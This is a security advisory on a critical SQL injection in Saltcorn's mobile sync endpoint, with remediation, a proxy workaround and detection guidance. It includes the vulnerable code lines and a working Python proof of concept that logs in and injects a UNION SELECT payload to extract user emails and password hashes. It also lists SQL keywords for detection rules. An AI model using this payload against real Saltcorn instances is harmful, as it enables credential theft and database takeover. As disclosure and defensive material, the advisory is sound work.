Apr 17, 2026·7 min read·4 visits
Saltcorn's mobile synchronization endpoints fail to properly sanitize the `maxLoadedId` parameter. An authenticated user with read access to a single table can exploit this via a crafted JSON payload, resulting in complete database compromise and potential privilege escalation.
A high-severity SQL injection vulnerability in the Saltcorn `@saltcorn/server` package allows low-privileged, authenticated users to execute arbitrary SQL commands. The flaw resides in the `/sync/load_changes` endpoint, where user-controlled input is directly interpolated into database queries without sanitization.
The vulnerability exists in Saltcorn, an open-source no-code application builder. Specifically, the @saltcorn/server package exposes mobile synchronization endpoints designed to update mobile clients with recent database changes. The vulnerability resides within the POST /sync/load_changes and POST /sync/deletes API routes.
The core issue is classified as CWE-89: Improper Neutralization of Special Elements used in an SQL Command. The application fails to sanitize or type-cast the maxLoadedId parameter before utilizing it in dynamic SQL query construction. This parameter is extracted directly from the incoming JSON request body and passed to the database execution engine.
Exploitation requires the attacker to possess an authenticated session. The attacker only needs the lowest privilege level (default role_id >= 80) and read access to at least one database table. Upon successful exploitation, the attacker can execute arbitrary SQL commands against the backend database.
The vulnerability carries a CVSS v3.1 score of 9.9, reflecting a critical severity level. The impact spans complete loss of database confidentiality, integrity, and availability. In specific database configurations, such as PostgreSQL deployments, the attacker may also execute secondary data manipulation commands.
The root cause of this vulnerability stems from an architectural failure to employ parameterized queries or strict type casting within the synchronization logic. The application utilizes string interpolation via template literals to construct SQL statements dynamically. This pattern bypasses the protections typically afforded by modern Object-Relational Mapping (ORM) frameworks or database driver parameterization features.
The vulnerable logic is located in packages/server/routes/sync.js. The getSyncRows() and getDelRows() functions handle the synchronization data extraction. When a client requests a data sync, the server identifies the tables the user can access and iterates through the provided syncInfos object to determine the last synchronized state.
Within the getSyncRows() function, the syncInfo.maxLoadedId variable receives its value directly from req.body.syncInfos[tableName].maxLoadedId. The application fails to parse this value as an integer. Consequently, any string value provided in the JSON payload is concatenated directly into the WHERE clause of the SQL statement.
A secondary vulnerability path exists within the getDelRows() function. The endpoint processes the syncTimestamp parameter to construct Date objects. If the input is manipulated to alter the prototype or behavior of the valueOf() execution, the subsequent string interpolation may result in an injection vector. The lack of robust input validation mechanisms enables the manipulation of these numeric and date-based boundaries.
The flaw is evident when examining the getSyncRows() function in packages/server/routes/sync.js. The following snippet illustrates the direct interpolation of unvalidated user input into the database query structure.
// packages/server/routes/sync.js - getSyncRows()
// Line 68 — maxLoadedId branch (no syncFrom)
where data_tbl."${db.sqlsanitize(pkName)}" > ${syncInfo.maxLoadedId}
// Line 100 — maxLoadedId branch (with syncFrom)
and info_tbl.ref > ${syncInfo.maxLoadedId}In the code above, the pkName variable is correctly processed through the db.sqlsanitize() function. However, the syncInfo.maxLoadedId variable is appended directly to the statement. If an attacker supplies a string payload such as 999 UNION SELECT... instead of the expected integer, the database engine processes the concatenated string as valid SQL syntax.
The vulnerability is remediated by enforcing strict type casting on the incoming data. The patch ensures that maxLoadedId is parsed as an integer using parseInt() or equivalent methods before query construction. Additionally, robust parameterization via the database driver prevents dynamic string evaluation by the database engine.
Exploitation of this vulnerability requires an attacker to satisfy three prerequisites: valid application credentials, extraction of a valid CSRF token, and read permissions on at least one database table. The attacker authenticates normally and captures the session cookie and CSRF token from the application's initialization response.
The attacker constructs a malicious JSON payload targeting the /sync/load_changes endpoint. The syncInfos object must reference a table the attacker is permitted to read. The maxLoadedId attribute for that table is replaced with a crafted SQL payload. A UNION SELECT statement is highly effective for data exfiltration.
The following Python Proof-of-Concept automates the exploitation sequence. It authenticates as a standard user, retrieves the necessary tokens, and sends the injected payload to extract the administrator credentials from the users table.
import requests
import json
import re
BASE = "http://localhost:3000"
EMAIL = "user@example.com"
PASSWORD = "password123"
s = requests.Session()
# 1. Fetch CSRF token for login
r = s.get(f"{BASE}/auth/login")
csrf_login = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text).group(1)
# 2. Login
s.post(f"{BASE}/auth/login", json={"email": EMAIL, "password": PASSWORD, "_csrf": csrf_login})
# 3. Get authenticated CSRF token
r = s.get(f"{BASE}/")
csrf = re.search(r'_sc_globalCsrf = "([^"]+)"', r.text).group(1)
# 4. Inject SQL via maxLoadedId
payload = "999 UNION SELECT 1,email,password,CAST(role_id AS TEXT),CAST(id AS TEXT) FROM users--"
body = {
"syncInfos": {
"notes": {
"maxLoadedId": payload
}
},
"loadUntil": "2030-01-01"
}
headers = {"CSRF-Token": csrf, "Content-Type": "application/json"}
r = s.post(f"{BASE}/sync/load_changes", json=body, headers=headers)
if r.status_code == 200:
print(json.dumps(r.json(), indent=2))The server returns the results of the injected UNION SELECT query within the standard JSON synchronization response. The attacker parses this response to retrieve the exfiltrated rows.
The primary impact of this vulnerability is unrestricted data exfiltration. An attacker can extract the contents of any table within the database, bypassing application-level authorization controls. This includes sensitive structural tables, such as _sc_config, which often contain integration secrets, API keys, and environment variables.
The extraction of the users table represents an immediate critical risk. The attacker can retrieve bcrypt password hashes for administrative accounts. These hashes can be subjected to offline cracking or, in specific configurations, the attacker can hijack active administrative session identifiers.
The impact on data integrity and availability depends heavily on the underlying database engine. In environments utilizing PostgreSQL, the database driver often permits stacked queries or multiple statement execution within a single call. An attacker can append Data Manipulation Language (DML) or Data Definition Language (DDL) statements to the injected payload.
Through DML and DDL execution, the attacker can delete critical application tables, modify application configurations, or escalate their own privileges directly within the database. This escalation path transitions the attacker from a low-privileged user to full administrative control over the Saltcorn instance.
The definitive remediation for this vulnerability requires upgrading the @saltcorn/server package. Administrators must apply the patch corresponding to their current release branch. The vulnerability is resolved in versions 1.4.6, 1.5.6, and 1.6.0-beta.5. The patch correctly enforces type casting on the maxLoadedId parameter.
Organizations unable to deploy the patch immediately can apply a temporary workaround at the reverse proxy layer. Modifying the ingress controller, Nginx configuration, or Web Application Firewall to drop or block POST requests targeting the /sync/* route structure effectively neutralizes the attack vector. This workaround will disable mobile application synchronization functionality.
Security teams should configure their network security monitoring solutions to inspect the JSON payloads of incoming POST requests directed at /sync/load_changes and /sync/deletes. Detection rules should flag the presence of SQL syntax, such as UNION, SELECT, FROM, or comment operators (--, /*) within the maxLoadedId integer field.
Post-incident response procedures should include reviewing application logs for unauthorized access to the /sync/load_changes endpoint. Administrators must force password resets for all users and rotate any API keys stored within the database if exploitation is suspected, as the exfiltration leaves minimal traces beyond the anomalous POST request size.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
@saltcorn/server Saltcorn | < 1.4.6 | 1.4.6 |
@saltcorn/server Saltcorn | >= 1.5.0-beta.0, < 1.5.6 | 1.5.6 |
@saltcorn/server Saltcorn | >= 1.6.0-alpha.0, < 1.6.0-beta.5 | 1.6.0-beta.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 |
| Attack Vector | Network |
| CVSS Score | 9.9 (Critical) |
| Privileges Required | Low (Authenticated) |
| Impact | Total Compromise (Confidentiality, Integrity, Availability) |
| Exploit Status | Proof-of-Concept Available |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')